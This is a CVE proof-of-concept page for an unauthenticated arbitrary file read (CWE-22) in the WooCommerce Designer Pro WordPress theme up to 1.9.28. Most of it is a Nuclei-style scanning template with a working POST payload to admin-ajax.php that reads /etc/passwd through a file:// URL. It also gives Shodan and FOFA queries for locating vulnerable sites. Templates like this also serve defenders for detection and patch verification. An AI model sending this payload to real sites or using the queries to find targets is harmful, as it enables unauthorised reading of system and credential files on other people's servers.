CVE-2025-10897: WooCommerce Designer Pro <= 1.9.28 - Arbitrary File Read

2026-05-09 WooCommerce Designer Pro PoC Public

Description

WooCommerce Designer Pro theme for WordPress <= 1.9.28 contains an arbitrary file read vulnerability caused by improper input validation, letting unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.

PoC

id: CVE-2025-10897

info:
  name: WooCommerce Designer Pro <= 1.9.28 - Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
   WooCommerce Designer Pro theme for WordPress <= 1.9.28 contains an arbitrary file read vulnerability caused by improper input validation, letting unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.
  impact: |
   Unauthenticated attackers can read sensitive files, potentially exposing database credentials and other critical information.
  remediation: |
   Update to the latest version beyond 1.9.28.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-designer-pro/woocommerce-designer-pro-1928-unauthenticated-arbitrary-file-read
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10897
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-10897
    epss-score: 0.01817
    epss-percentile: 0.77614
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wc-designer-pro"
    shodan-query: http.html:"wc-designer-pro"
  tags: cve,cve2025,wordpress,wp,wp-plugin,wc-designer-pro,lfi

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wcdp_convert_resource_cmyk&url=file:///etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "success"
          - "base64"
          - "cm9vdDp4OjA6MDpy"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f50f5edf7fb2d80b0db874de03286f250e7d6c6a4d4d03e9c491bb34985ed0f002206826403a9c5eec3141229d2538348fe2bf790bb05a236f28059d04a9a8f5a50e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities